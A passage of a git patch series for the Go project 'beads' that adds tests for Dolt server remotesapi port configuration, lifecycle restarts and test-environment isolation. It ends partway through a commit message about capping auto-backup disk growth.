t.Setenv("BEADS_SHARED_SERVER_DIR", filepath.Join(home, ".beads", "shared-server")) + t.Setenv("BEADS_DOLT_SHARED_SERVER", "1") + t.Setenv("BEADS_DOLT_REMOTESAPI_PORT", "") + + projectBeads := filepath.Join(t.TempDir(), ".beads") + if err := os.MkdirAll(projectBeads, 0o755); err != nil { + t.Fatal(err) + } + projectCfg := configfile.DefaultConfig() + projectCfg.DoltRemotesAPIPort = 7001 + if err := projectCfg.Save(projectBeads); err != nil { + t.Fatal(err) + } + if got := DefaultConfig(projectBeads).RemotesAPIPort; got != 0 { + t.Fatalf("shared remotesapi port = %d with no user-global value, want disabled 0 despite project metadata 7001", got) + } + + if err := config.SetUserYamlConfig(remotesAPIPortConfigKey, "8001"); err != nil { + t.Fatal(err) + } + configPath, err := config.UserConfigYamlPath() + if err != nil { + t.Fatal(err) + } + configBody, err := os.ReadFile(configPath) + if err != nil { + t.Fatal(err) + } + if got := config.GetUserYamlConfig(remotesAPIPortConfigKey); got != "8001" { + t.Fatalf("user-global config %s contains %q but resolved remotesapi port = %q, want 8001", configPath, configBody, got) + } + + if got := DefaultConfig(projectBeads).RemotesAPIPort; got != 8001 { + t.Fatalf("shared remotesapi port = %d, want user-global 8001 (project metadata must not skew one shared process)", got) + } + t.Setenv("BEADS_DOLT_REMOTESAPI_PORT", "not-a-port") + if got := DefaultConfig(projectBeads).RemotesAPIPort; got != 8001 { + t.Fatalf("malformed env resolved remotesapi port = %d, want persisted 8001", got) + } + + t.Setenv("BEADS_DOLT_REMOTESAPI_PORT", "9001") + if got := DefaultConfig(projectBeads).RemotesAPIPort; got != 9001 { + t.Fatalf("shared remotesapi port = %d, want env override 9001", got) + } + + t.Setenv("BEADS_DOLT_REMOTESAPI_PORT", "0") + if got := DefaultConfig(projectBeads).RemotesAPIPort; got != 0 { + t.Fatalf("shared remotesapi port = %d, want explicit env disable 0", got) + } + t.Setenv("BEADS_DOLT_REMOTESAPI_PORT", "") + if err := config.SetUserYamlConfig(remotesAPIPortConfigKey, "0"); err != nil { + t.Fatal(err) + } + if got := DefaultConfig(projectBeads).RemotesAPIPort; got != 0 { + t.Fatalf("persisted shared remotesapi port = %d, want explicit disable 0", got) + } +} + +func TestDefaultConfig_RemotesAPIPortDisabledByDefault(t *testing.T) { + home := t.TempDir() + t.Setenv("HOME", home) + t.Setenv("USERPROFILE", home) + t.Setenv("BEADS_DOLT_SHARED_SERVER", "") + t.Setenv("BEADS_DOLT_REMOTESAPI_PORT", "") + + beadsDir := filepath.Join(t.TempDir(), ".beads") + if err := os.MkdirAll(beadsDir, 0o755); err != nil { + t.Fatal(err) + } + if got := DefaultConfig(beadsDir).RemotesAPIPort; got != 0 { + t.Fatalf("unconfigured remotesapi port = %d, want disabled 0", got) + } +} func TestDefaultConfig_SharedModeGeneralPortOverrides(t *testing.T) { t.Setenv("BEADS_DOLT_SHARED_SERVER", "1") @@ -2081,7 +2319,7 @@ func TestBuildDoltServerArgs(t *testing.T) { for _, tc := range tests { t.Run(tc.name, func(t *testing.T) { - args := buildDoltServerArgs(tc.host, tc.port, false, "") + args := buildDoltServerArgs(tc.host, tc.port, 0, false, "") if len(args) == 0 || args[0] != "sql-server" { t.Fatalf("args[0] = %q, want %q; full args: %v", @@ -2105,6 +2343,9 @@ func TestBuildDoltServerArgs(t *testing.T) { if got := args[portIdx+1]; got != tc.wantPort { t.Errorf("port = %q, want %q", got, tc.wantPort) } + if indexOf(args, "--remotesapi-port") >= 0 { + t.Errorf("disabled remotesapi must not add a flag: %v", args) + } // --loglevel= — the actual fix. logLevel, ok := findLogLevel(args) @@ -2140,7 +2381,7 @@ func TestBuildDoltServerArgs(t *testing.T) { // runMain). Placing --prof after sql-server silently drops profiling. func TestBuildDoltServerArgs_DebugMode(t *testing.T) { const profDir = "/tmp/test-pprof" - args := buildDoltServerArgs("127.0.0.1", 3308, true, profDir) + args := buildDoltServerArgs("127.0.0.1", 3308, 0, true, profDir) // --prof and --prof-path must precede sql-server. subIdx := indexOf(args, "sql-server") @@ -2187,7 +2428,7 @@ func TestBuildDoltServerArgs_DebugMode(t *testing.T) { // The warning loglevel floor is also reasserted here so a future // refactor can't silently degrade only the non-debug path. func TestBuildDoltServerArgs_NoDebugFlagsWhenDisabled(t *testing.T) { - args := buildDoltServerArgs("127.0.0.1", 3308, false, "") + args := buildDoltServerArgs("127.0.0.1", 3308, 0, false, "") if indexOf(args, "--prof") >= 0 { t.Errorf("non-debug args should not contain --prof: %v", args) } @@ -2203,6 +2444,42 @@ func TestBuildDoltServerArgs_NoDebugFlagsWhenDisabled(t *testing.T) { } } +func TestBuildDoltServerArgs_RemotesAPI(t *testing.T) { + args := buildDoltServerArgs("127.0.0.1", 3308, 8081, false, "") + idx := indexOf(args, "--remotesapi-port") + if idx < 0 || idx+1 >= len(args) || args[idx+1] != "8081" { + t.Fatalf("configured remotesapi flag missing or wrong: %v", args) + } +} + +func TestVerifyRemotesAPIState(t *testing.T) { + if _, err := verifyRemotesAPIState( + &Config{RemotesAPIPort: 3308}, + &State{Running: true, PID: 41, Port: 3308}, + ); err == nil || !strings.Contains(err.Error(), "distinct") { + t.Fatalf("equal SQL/remotesapi verification = %v, want distinct-port error", err) + } + + listener, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + port := listener.Addr().(*net.TCPAddr).Port + state := &State{Running: true, PID: 42, Port: 3308} + got, err := verifyRemotesAPIState(&Config{RemotesAPIPort: port}, state) + if err != nil { + t.Fatal(err) + } + if got.RemotesAPIPort != port { + t.Fatalf("state remotesapi port = %d, want %d", got.RemotesAPIPort, port) + } + _ = listener.Close() + if _, err := verifyRemotesAPIState(&Config{RemotesAPIPort: port}, state); err == nil || + !strings.Contains(err.Error(), "bd dolt stop && bd dolt start") { + t.Fatalf("unreachable remotesapi verification = %v, want stop/start-required error", err) + } +} + // TestBuildDoltServerYAMLConfig verifies the --config counterpart to // buildDoltServerArgs: it must round-trip through Dolt's own YAML loader // with the same host/port/log-level as the CLI-flag form, plus @@ -2211,7 +2488,7 @@ func TestBuildDoltServerArgs_NoDebugFlagsWhenDisabled(t *testing.T) { // caller-resolved value (gastownhall/beads#4986 round 2: --config mode // skips Dolt's own .doltcfg discovery, so this must be set explicitly). func TestBuildDoltServerYAMLConfig(t *testing.T) { - body, err := buildDoltServerYAMLConfig("127.0.0.1", 54321, false, "/tmp/some/.doltcfg") + body, err := buildDoltServerYAMLConfig("127.0.0.1", 54321, 8081, false, "/tmp/some/.doltcfg") if err != nil { t.Fatalf("buildDoltServerYAMLConfig: %v", err) } @@ -2226,6 +2503,10 @@ func TestBuildDoltServerYAMLConfig(t *testing.T) { if got := cfg.Port(); got != 54321 { t.Errorf("Port = %d, want %d", got, 54321) } + if got := cfg.RemotesapiPort(); got == nil || *got != 8081 { + t.Errorf("RemotesapiPort = %v, want 8081", got) + } + if got := string(cfg.LogLevel()); got != doltServerLogLevel { t.Errorf("LogLevel = %q, want %q", got, doltServerLogLevel) } @@ -2249,7 +2530,7 @@ func TestBuildDoltServerYAMLConfig(t *testing.T) { // YAML config's log level the same way buildDoltServerArgs does for the // CLI-flag form. func TestBuildDoltServerYAMLConfig_DebugLogLevel(t *testing.T) { - body, err := buildDoltServerYAMLConfig("127.0.0.1", 54321, true, "/tmp/some/.doltcfg") + body, err := buildDoltServerYAMLConfig("127.0.0.1", 54321, 0, true, "/tmp/some/.doltcfg") if err != nil { t.Fatalf("buildDoltServerYAMLConfig: %v", err) } diff --git a/internal/doltserver/lifecycle_integration_test.go b/internal/doltserver/lifecycle_integration_test.go index 37c8aee83..baf137214 100644 --- a/internal/doltserver/lifecycle_integration_test.go +++ b/internal/doltserver/lifecycle_integration_test.go @@ -9,6 +9,7 @@ import ( "os" "os/exec" "path/filepath" + "strings" "sync" "sync/atomic" "syscall" @@ -16,6 +17,8 @@ import ( "time" _ "github.com/go-sql-driver/mysql" + "github.com/steveyegge/beads/internal/config" + "github.com/steveyegge/beads/internal/doltserver" "github.com/steveyegge/beads/internal/storage/doltutil" "github.com/steveyegge/beads/internal/testutil/integration" @@ -28,6 +31,12 @@ func setupLifecycleTestDir(t *testing.T) string { doltBin := integration.RequireDolt(t) tmpDir := t.TempDir() + t.Setenv("HOME", tmpDir) + t.Setenv("USERPROFILE", tmpDir) + t.Setenv("XDG_CONFIG_HOME", filepath.Join(tmpDir, ".config")) + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + configureDoltTestIdentity(t, doltBin, tmpDir) beadsDir := filepath.Join(tmpDir, ".beads") @@ -85,6 +94,24 @@ func connectMySQL(t *testing.T, port int) *sql.DB { return db } +func reserveDistinctTCPPorts(t *testing.T, count int) []int { + t.Helper() + listeners := make([]net.Listener, 0, count) + ports := make([]int, 0, count) + for range count { + listener, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + listeners = append(listeners, listener) + ports = append(ports, listener.Addr().(*net.TCPAddr).Port) + } + for _, listener := range listeners { + _ = listener.Close() + } + return ports +} + func waitForPortClosed(t *testing.T, port int, timeout time.Duration) { t.Helper() addr := fmt.Sprintf("127.0.0.1:%d", port) @@ -498,3 +525,242 @@ func TestLifecycle_PIDReuseDetection(t *testing.T) { t.Error("PID file not cleaned up after detecting non-dolt PID") } } + +func TestLifecycle_RestartWithRemotesAPI(t *testing.T) { + beadsDir := setupLifecycleTestDir(t) + reg := integration.NewProcessRegistry(t) + diag := integration.NewDiagnostics(t, beadsDir) + diag.CaptureOnFailure() + + ports := reserveDistinctTCPPorts(t, 2) + sqlPort, rapiPort := ports[0], ports[1] + t.Setenv("BEADS_DOLT_SHARED_SERVER", "1") + t.Setenv("BEADS_SHARED_SERVER_DIR", beadsDir) + t.Setenv("BEADS_DOLT_SERVER_PORT", fmt.Sprintf("%d", sqlPort)) + t.Setenv("BEADS_DOLT_REMOTESAPI_PORT", fmt.Sprintf("%d", rapiPort)) + + first, err := doltserver.Start(beadsDir) + if err != nil { + t.Fatalf("Start: %v", err) + } + if proc, findErr := os.FindProcess(first.PID); findErr == nil { + reg.Register(proc) + } + if first.Port != sqlPort || first.RemotesAPIPort != rapiPort || !doltserver.ProbeRemotesAPI(rapiPort) { + t.Fatalf("first state = %+v, want SQL %d and live remotesapi %d", first, sqlPort, rapiPort) + } + + db := connectMySQL(t, sqlPort) + if _, err := db.Exec("CREATE TABLE restart_probe (id INT PRIMARY KEY)"); err != nil { + t.Fatal(err) + } + if _, err := db.Exec("INSERT INTO restart_probe VALUES (1)"); err != nil { + t.Fatal(err) + } + _ = db.Close() + + second, err := doltserver.Restart(beadsDir) + if err != nil { + t.Fatalf("Restart: %v", err) + } + reg.Deregister(first.PID) + if proc, findErr := os.FindProcess(second.PID); findErr == nil { + reg.Register(proc) + } + if second.PID == first.PID { + t.Fatalf("restart retained PID %d; want a replacement process", first.PID) + } + if second.Port != sqlPort || second.RemotesAPIPort != rapiPort || !doltserver.ProbeRemotesAPI(rapiPort) { + t.Fatalf("second state = %+v, want preserved SQL %d and live remotesapi %d", second, sqlPort, rapiPort) + } + + db = connectMySQL(t, sqlPort) + var count, dirty int + if err := db.QueryRow("SELECT COUNT(*) FROM restart_probe").Scan(&count); err != nil { + t.Fatal(err) + } + if err := db.QueryRow("SELECT COUNT(*) FROM dolt_status").Scan(&dirty); err != nil { + t.Fatal(err) + } + _ = db.Close() + if count != 1 || dirty != 0 { + t.Fatalf("post-restart state: restart_probe count=%d dolt_status rows=%d, want 1/0 (flush committed before stop)", count, dirty) + } + + const starters = 4 + states := make(chan *doltserver.State, starters) + errs := make(chan error, starters) + var wg sync.WaitGroup + for range starters { + wg.Add(1) + go func() { + defer wg.Done() + state, err := doltserver.Start(beadsDir) + states <- state + errs <- err + }() + } + wg.Wait() + close(states) + close(errs) + for err := range errs { + if err != nil { + t.Fatalf("concurrent Start: %v", err) + } + } + for state := range states { + if state == nil || state.PID != second.PID { + t.Fatalf("concurrent Start state = %+v, want PID %d", state, second.PID) + } + } + + if err := doltserver.Stop(beadsDir); err != nil { + t.Fatalf("Stop: %v", err) + } + reg.Deregister(second.PID) +} + +func TestLifecycle_StartRequiresRestartForNewRemotesAPIConfig(t *testing.T) { + beadsDir := setupLifecycleTestDir(t) + reg := integration.NewProcessRegistry(t) + ports := reserveDistinctTCPPorts(t, 2) + sqlPort, rapiPort := ports[0], ports[1] + t.Setenv("BEADS_DOLT_SHARED_SERVER", "1") + t.Setenv("BEADS_SHARED_SERVER_DIR", beadsDir) + t.Setenv("BEADS_DOLT_SERVER_PORT", fmt.Sprintf("%d", sqlPort)) + t.Setenv("BEADS_DOLT_REMOTESAPI_PORT", "0") + + state, err := doltserver.Start(beadsDir) + if err != nil { + t.Fatal(err) + } + if proc, findErr := os.FindProcess(state.PID); findErr == nil { + reg.Register(proc) + } + + t.Setenv("BEADS_DOLT_REMOTESAPI_PORT", fmt.Sprintf("%d", rapiPort)) + if _, err := doltserver.Start(beadsDir); err == nil || !strings.Contains(err.Error(), "bd dolt stop && bd dolt start") { + t.Fatalf("Start after remotesapi config = %v, want actionable stop/start-required error", err) + } + // The auto-start fast path must NOT fail hard on the same gap: + // BEADS_DOLT_REMOTESAPI_PORT predates the listener wiring, so a server + // started before the setting appeared keeps serving SQL (with a warning) + // until an explicit stop/start applies it. + if port, startedByUs, err := doltserver.EnsureRunningDetailed(beadsDir); err != nil { + t.Fatalf("EnsureRunningDetailed with unapplied remotesapi config = %v, want warn-and-serve", err) + } else if startedByUs || port != sqlPort { + t.Fatalf("EnsureRunningDetailed = (port %d, startedByUs %v), want adopted server on %d", port, startedByUs, sqlPort) + } + if err := doltserver.Stop(beadsDir); err != nil { + t.Fatal(err) + } + reg.Deregister(state.PID) +} + +func TestLifecycle_AdoptedServerRequiresConfiguredRemotesAPI(t *testing.T) { + beadsDir := setupLifecycleTestDir(t) + physicalBeadsDir, err := filepath.EvalSymlinks(beadsDir) + if err != nil { + t.Fatal(err) + } + beadsDir = physicalBeadsDir + reg := integration.NewProcessRegistry(t) + ports := reserveDistinctTCPPorts(t, 2) + sqlPort, rapiPort := ports[0], ports[1] + t.Setenv("BEADS_DOLT_SHARED_SERVER", "1") + t.Setenv("BEADS_SHARED_SERVER_DIR", beadsDir) + t.Setenv("BEADS_DOLT_SERVER_PORT", fmt.Sprintf("%d", sqlPort)) + t.Setenv("BEADS_DOLT_REMOTESAPI_PORT", "0") + + first, err := doltserver.Start(beadsDir) + if err != nil { + t.Fatal(err) + } + if proc, findErr := os.FindProcess(first.PID); findErr == nil { + reg.Register(proc) + } + if err := os.Remove(filepath.Join(beadsDir, doltserver.PIDFileName)); err != nil { + t.Fatal(err) + } + if err := os.Remove(filepath.Join(beadsDir, doltserver.PortFileName)); err != nil { + t.Fatal(err) + } + + t.Setenv("BEADS_DOLT_REMOTESAPI_PORT", fmt.Sprintf("%d", rapiPort)) + if _, err := doltserver.Start(beadsDir); err == nil || !strings.Contains(err.Error(), "bd dolt stop && bd dolt start") { + t.Fatalf("adopted Start = %v, want actionable stop/start-required error", err) + } + state, err := doltserver.IsRunning(beadsDir) + if err != nil { + t.Fatal(err) + } + if !state.Running || state.PID != first.PID || state.RemotesAPIPort != rapiPort { + t.Fatalf("adopted state = %+v, want PID %d and configured remotesapi %d", state, first.PID, rapiPort) + } + if err := doltserver.Stop(beadsDir); err != nil { + t.Fatal(err) + } + reg.Deregister(first.PID) +} + +func TestLifecycle_RestartRemotesAPIFailureLeavesCleanStoppedState(t *testing.T) { + beadsDir := setupLifecycleTestDir(t) + reg := integration.NewProcessRegistry(t) + diag := integration.NewDiagnostics(t, beadsDir) + diag.CaptureOnFailure() + + sqlListener, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + sqlPort := sqlListener.Addr().(*net.TCPAddr).Port + var blocker net.Listener + for { + blocker, err = net.Listen("tcp6", "[::]:0") + if err != nil { + t.Fatal(err) + } + if blocker.Addr().(*net.TCPAddr).Port != sqlPort { + break + } + _ = blocker.Close() + } + defer blocker.Close() + blockedRAPIPort := blocker.Addr().(*net.TCPAddr).Port + _ = sqlListener.Close() + t.Setenv("BEADS_DOLT_SHARED_SERVER", "1") + t.Setenv("BEADS_SHARED_SERVER_DIR", beadsDir) + t.Setenv("BEADS_DOLT_SERVER_PORT", fmt.Sprintf("%d", sqlPort)) + t.Setenv("BEADS_DOLT_REMOTESAPI_PORT", "0") + + first, err := doltserver.Start(beadsDir) + if err != nil { + t.Fatalf("Start: %v", err) + } + if proc, findErr := os.FindProcess(first.PID); findErr == nil { + reg.Register(proc) + } + + t.Setenv("BEADS_DOLT_REMOTESAPI_PORT", fmt.Sprintf("%d", blockedRAPIPort)) + + _, restartErr := doltserver.Restart(beadsDir) + if restartErr == nil { + t.Fatal("Restart succeeded with occupied remotesapi port") + } + reg.Deregister(first.PID) + for _, want := range []string{"server remains stopped", "remotesapi", doltserver.LogPath(beadsDir)} { + if !strings.Contains(restartErr.Error(), want) { + t.Fatalf("Restart error %q missing %q", restartErr, want) + } + } + state, err := doltserver.IsRunning(beadsDir) + if err != nil { + t.Fatal(err) + } + if state.Running { + t.Fatalf("server still running after failed restart: %+v", state) + } + if got := doltserver.ReadPortFile(beadsDir); got != sqlPort { + t.Fatalf("SQL port after failed restart = %d, want preserved %d for retry", got, sqlPort) + } +} diff --git a/internal/doltserver/servermode.go b/internal/doltserver/servermode.go index 8553481da..7b9f3f18a 100644 --- a/internal/doltserver/servermode.go +++ b/internal/doltserver/servermode.go @@ -60,7 +60,15 @@ func (m ServerMode) String() string { // The function loads metadata.json only if the file exists, to avoid // triggering the legacy config.json -> metadata.json migration side effect. func ResolveServerMode(beadsDir string) ServerMode { - return resolveServerMode(beadsDir, true) + return ResolveServerModeForMode(beadsDir, IsSharedServerMode()) +} + +// ResolveServerModeForMode resolves lifecycle ownership for an +// already-classified target. BEADS_DOLT_SERVER_MODE remains authoritative; +// shared-server state comes from the caller's target classification rather +// than the active workspace. +func ResolveServerModeForMode(beadsDir string, sharedMode bool) ServerMode { + return resolveServerMode(beadsDir, sharedMode, true) } // ResolveServerModeIgnoringPortEnv is ResolveServerMode with check 2c @@ -86,23 +94,22 @@ func ResolveServerMode(beadsDir string) ServerMode { // server as shared -- the same reasoning as the kill-guard above, applied // to the migrate-on-open decision instead of the process-reaping one. func ResolveServerModeIgnoringPortEnv(beadsDir string) ServerMode { - return resolveServerMode(beadsDir, false) + return resolveServerMode(beadsDir, IsSharedServerMode(), false) } -// resolveServerMode is the shared implementation behind ResolveServerMode -// and ResolveServerModeIgnoringPortEnv. honorPortEnv controls whether check -// 2c (BEADS_DOLT_SERVER_PORT / BEADS_DOLT_PORT) participates; see -// ResolveServerModeIgnoringPortEnv for why a caller would want it excluded. -func resolveServerMode(beadsDir string, honorPortEnv bool) ServerMode { +// resolveServerMode is the shared implementation behind ResolveServerMode, +// ResolveServerModeForMode and ResolveServerModeIgnoringPortEnv. sharedMode +// is the target's shared-server classification (check 2). honorPortEnv +// controls whether check 2c (BEADS_DOLT_SERVER_PORT / BEADS_DOLT_PORT) +// participates; see ResolveServerModeIgnoringPortEnv for why a caller would +// want it excluded. +func resolveServerMode(beadsDir string, sharedMode, honorPortEnv bool) ServerMode { // 1. BEADS_DOLT_SERVER_MODE=1 env var -> external (explicit server mode) if os.Getenv("BEADS_DOLT_SERVER_MODE") == "1" { return ServerModeExternal } - // 2. Shared server mode (env var or config.yaml) -> external. - // Must be checked before metadata.json so that a stale - // dolt_mode=embedded cannot override active shared-server intent. - if IsSharedServerMode() { + if sharedMode { return ServerModeExternal } diff --git a/internal/doltserver/testmain_test.go b/internal/doltserver/testmain_test.go new file mode 100644 index 000000000..14f5981a5 --- /dev/null +++ b/internal/doltserver/testmain_test.go @@ -0,0 +1,123 @@ +//go:build !integration || windows + +package doltserver_test + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/config" + "github.com/steveyegge/beads/internal/doltserver" +) + +// suiteRootPrefix is this suite's os.MkdirTemp pattern minus the random tail. +// It deliberately matches testmain_integration_test.go's prefix so an +// abandoned root from either TestMain gets reclaimed; the owner marker written +// below is what keeps a LIVE sibling run's root untouched. +const suiteRootPrefix = "beads-doltserver-tests-" + +// TestMain gives every direct non-integration run of this package an isolated +// home so it cannot read or write the operator's dolt and beads configuration. +// +// It redirects HOME, USERPROFILE and XDG_CONFIG_HOME, pins DOLT_ROOT_PATH +// (dolt reads its global config from there before HOME), and clears the +// operator's whole BEADS_* namespace (see scrubOperatorBeadsEnv) so config +// resolution cannot read the developer's own beads settings. +// +// Redirecting HOME also hides the operator's dolt identity, and without one +// `dolt init` fails "Author identity unknown", which sends the tests that +// shell out to dolt into a skip rather than running them. +// configureDoltIdentity puts an identity back inside the isolated home. +// +// Integration-tagged runs use the stronger suite-root TestMain in +// testmain_integration_test.go instead. +func TestMain(m *testing.M) { + os.Exit(runTests(m)) +} + +func runTests(m *testing.M) int { + // Before creating this run's own root, per SweepDeadSuiteRoots' contract. + doltserver.SweepDeadSuiteRoots(os.TempDir(), suiteRootPrefix) + + root, err := os.MkdirTemp("", suiteRootPrefix) + if err != nil { + fmt.Fprintf(os.Stderr, "doltserver tests: create isolated home: %v\n", err) + return 1 + } + defer os.RemoveAll(root) + if err := doltserver.WriteSuiteOwnerMarker(root); err != nil { + fmt.Fprintf(os.Stderr, "Warning: could not claim suite temp root %s: %v\n", root, err) + } + + _ = os.Setenv("HOME", root) + _ = os.Setenv("USERPROFILE", root) + _ = os.Setenv("XDG_CONFIG_HOME", filepath.Join(root, ".config")) + _ = os.Setenv("DOLT_ROOT_PATH", root) + scrubOperatorBeadsEnv() + _ = os.Setenv("BEADS_DOLT_SHARED_SERVER", "") + _ = os.Setenv("BEADS_TEST_MODE", "1") + _ = os.Setenv("BEADS_TEST_PDEATHSIG", "1") + config.ResetForTesting() + configureDoltIdentity(root) + + code := m.Run() + + // Suite-scoped, never the global SweepOrphanedTestServers arm: that one is + // deprecated for TestMain precisely because it can reap a still-running + // foreign suite's servers and consume that suite's leak evidence. + if killed := doltserver.SweepSuiteTestServers(root); len(killed) > 0 { + fmt.Fprintf(os.Stderr, "doltserver tests: swept %d orphaned dolt sql-server process(es)\n", len(killed)) + } + config.ResetForTesting() + return code +} + +// scrubOperatorBeadsEnv removes the operator's beads configuration from this +// process so config resolution sees only the isolated home. BEADS_TEST_* is +// the harness's own namespace and is preserved; TestMain sets those itself. +// +// Clearing by PREFIX rather than by a fixed name list is deliberate. A list +// naming only BEADS_DOLT_SHARED_SERVER left an exported BEADS_DIR, +// BEADS_DOLT_SERVER_HOST or BEADS_DOLT_SERVER_PORT reaching DefaultConfig, +// which reddened TestDefaultConfigReturnsZeroForStandalone, +// TestDefaultConfigPortFileTakesPrecedence and +// TestResolveServerMode_HostInferredExternal on any machine that had them set +// — a failure that reproduces only on the developer's own shell. +func scrubOperatorBeadsEnv() { + for _, kv := range os.Environ() { + key, _, ok := strings.Cut(kv, "=") + if !ok || !strings.HasPrefix(key, "BEADS_") || strings.HasPrefix(key, "BEADS_TEST_") { + continue + } + _ = os.Unsetenv(key) + } +} + +// configureDoltIdentity gives the isolated home a dolt identity, mirroring +// configureDoltTestIdentity in lifecycle_integration_test.go, which this build +// tag cannot see. ensureDoltInit shells out to `dolt init` with the inherited +// environment, so the identity has to live under the redirected HOME. +// +// Best effort: when dolt is genuinely absent there is nothing to configure and +// the tests that need it still skip, which is the pre-existing behaviour. +func configureDoltIdentity(home string) { + doltBin, err := exec.LookPath("dolt") + if err != nil { + return + } + for _, args := range [][]string{ + {"config", "--global", "--add", "user.name", "beads-test"}, + {"config", "--global", "--add", "user.email", "beads@test"}, + } { + cmd := exec.Command(doltBin, args...) + cmd.Env = append(os.Environ(), "HOME="+home, "DOLT_ROOT_PATH="+home) + if out, cmdErr := cmd.CombinedOutput(); cmdErr != nil { + fmt.Fprintf(os.Stderr, "doltserver tests: dolt %v: %v\n%s", args, cmdErr, out) + return + } + } +} From c26cf1fb6fe752a0a2ad9d08aed8c87a772dab23 Mon Sep 17 00:00:00 2001 From: Athos Bernardes <79493098+athosmartins@users.noreply.github.com> Date: Thu, 1 Oct 2026 05:00:25 -0300 Subject: [PATCH 006/325] fix(bd): cap auto-backup destination size to stop unbounded growth (#6071) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(bd): cap auto-backup destination size to stop unbounded growth (ga-y6gjv) ga-y6gjv asked for 4 fixes to bd's auto-backup subsystem. Three are already merged and deployed (verified via git merge-base --is-ancestor against the commit that built the currently-deployed ~/.local/bin/bd): - interval throttle persists on failure too, per-workspace: 5f685959c - default-off in sql-server/shared mode: 5f685959c, refined by 8b9429153 - `bd config get backup.enabled` reports the effective value: 5f685959c This commit is only the fourth, still-open item: "prune/cap backup archives." BackupSync/CALL DOLT_BACKUP('sync', ...) only ever transfers new chunks into the destination — it never prunes ones that became unreachable on the source DB (history rewrites, superseded data) — so even with the interval fix slowing the frequency of syncs, the destination can still only grow, never shrink. This was the actual disk-filling mechanism in the 2026-06-19 outage (43GB backup dir from a 1.7GB store). I first tried wiring `dolt gc` into the post-sync path (mirroring runCompactDolt's exec.Command("dolt", "gc", ...) pattern in compact.go). That does not work: a backup destination is a bare Dolt chunk-store directory with no .dolt repo-root marker, so the standalone dolt CLI can't open it ("not a valid dolt repository") no matter what its working directory is set to, and dolt_backup.go's SQL procedures only expose add/sync/restore — never gc — for a backup destination. Confirmed this empirically (a real dolt gc attempt against a real backup dir, outside any test) before shipping anything, not just reasoned about it. Given no supported way to prune a backup destination in place, this adds a hard size cap instead: once the destination exceeds backup.size-cap-mb (default 2048MB), maybeAutoBackup skips the sync attempt entirely rather than letting it grow further, and prints a throttled warning (backup.size-warn-interval, default 24h) telling the operator to free space or raise the cap. This directly bounds the failure mode that caused the outage — unbounded growth — without risking any operation against the backup store's on-disk format. Tests (cmd/bd/backup_cap_test.go): threshold check against a real directory, warning-throttle persistence (mirrors the existing throttle persisted on backup failure, backup_export.go), and end-to-end proof that maybeAutoBackup never attempts BackupDatabase once capped. Confirmed each new test fails against the pre-fix code (wiring temporarily reverted, re-verified, restored) before treating it as green. Verified: go build ./... clean, gofmt clean, go vet clean, full cmd/bd + internal/config test run green (backup/config-focused subset run with -v; no regressions in the wider package test runs either). * fix(bd): address PR #6071 review feedback on backup size-cap (ga-y6gjv) bee-ghosttrack's 2026-09-03 review of the size-cap fix (3d27d7a98) requested changes before merge -- 4 major, 2 minor, all about the pause being invisible rather than the cap mechanism itself. This addresses all six. Major: 1. backup.size-cap-mb: 0 now means "no cap", not "use the 2048MB default." effectiveSizeCapMB() centralizes the <=0-is-disabled interpretation; backupSizeCapExceeded and the new status helpers all go through it. Viper already registers a 2048 default for this key (internal/config/config.go), so GetInt only returns <=0 when the operator explicitly set 0 (or an unparseable value) -- the old code's own `if capMB <= 0 { capMB = 2048 }` was silently overriding that explicit choice, leaving no off switch for a legitimately larger destination. 2. `bd backup status` (and --json) now report a `size_cap` object (enabled, cap_mb, current_bytes, exceeded), and the human-text Config: line grows a "Size cap: PAUSED (cap exceeded) -- X / Y..." line when paused. Previously the pause was stderr-only and throttled to 24h, so an agent/CI caller on --json or --quiet had no way to see that auto-backup had silently and permanently stopped syncing. 3. The remediation message no longer says "delete the backup directory." Nothing in this codebase demonstrates a deleted destination is cleanly recreated by the next sync (the server-side Dolt backup remote stays registered against that path), and following the old advice would leave a zero-backup window while the next sync is itself interval-throttled. It now points at backup.size-cap-mb / `bd backup init `. 4. docs/reference/configuration.md gains rows for both new keys plus an expanded Auto-backup section (the cap mechanism, the pause, manual backup staying uncapped, bd backup status reporting the pause); CHANGELOG.md gets an [Unreleased]/Fixed entry referencing #6071. Minor: 5. maybeWarnBackupSizeCap's throttle timestamp is now also cached in an in-process map (capWarnFallback, keyed by dir) alongside the persisted backup_state.json. The persist write targets the directory the cap just declared full, so in the disk-full case this cap exists for, that write fails and the timestamp never sticks -- a long-lived bd process that keeps calling maybeAutoBackup for the same destination (e.g. internal/storage/dbproxy's server mode) would otherwise re-warn on every single call. The map is keyed by dir specifically so unrelated destinations -- and unrelated tests -- never share a throttle. 6. The size-cap directory walk (getDirSize's filepath.Walk) now runs after the interval throttle in maybeAutoBackup, not before. The reviewer measured 65-100ms per bd invocation at 20k files in the backup dir when the walk ran unconditionally on every command; moving it below the throttle makes it free on the common (throttled) path and only pays the walk cost once per interval, exactly when a sync attempt would occur anyway. Also noted by the reviewer: manual `bd backup` / `bd backup sync` stay uncapped -- now documented in configuration.md. Tests (cmd/bd/backup_cap_test.go, cmd/bd/backup_status_test.go): one new test per review point. Each was confirmed to fail against the pre-fix code for the expected reason before implementing -- including catching a vacuous pass in my own first draft of the "disabled cap" JSON assertion (zero-value Enabled:false matched whether the size_cap key existed at all or not; fixed to assert key presence first). The disabled-cap test uses a sparse file (Truncate, not a real write) to cross the legacy 2048MB threshold without allocating 2GB of real disk or memory. The reordering test is detected indirectly: if the cap check ran despite the throttle, it would persist LastCapWarnAt; the interval-fresh case proves it does not. Verified: go build ./cmd/bd/... clean, gofmt clean, go vet ./cmd/bd/... clean, golangci-lint run ./cmd/bd/... -> 0 issues, targeted backup/status test subset green (20/20, including every pre-existing backup test -- no regressions). Co-Authored-By: Claude Sonnet 5 * fix(bazel): add backup_cap sources to //cmd/bd srcs lists The contributor branched before `cmd/bd/BUILD.bazel` existed, so the two files this PR adds were never enumerated there. After rebasing onto a base that hand-maintains explicit srcs lists, `//cmd/bd:bd_lib` omits `backup_cap.go` while still compiling `backup.go` and `backup_auto.go`, which reference four symbols it defines: backup.go:93 undefined: 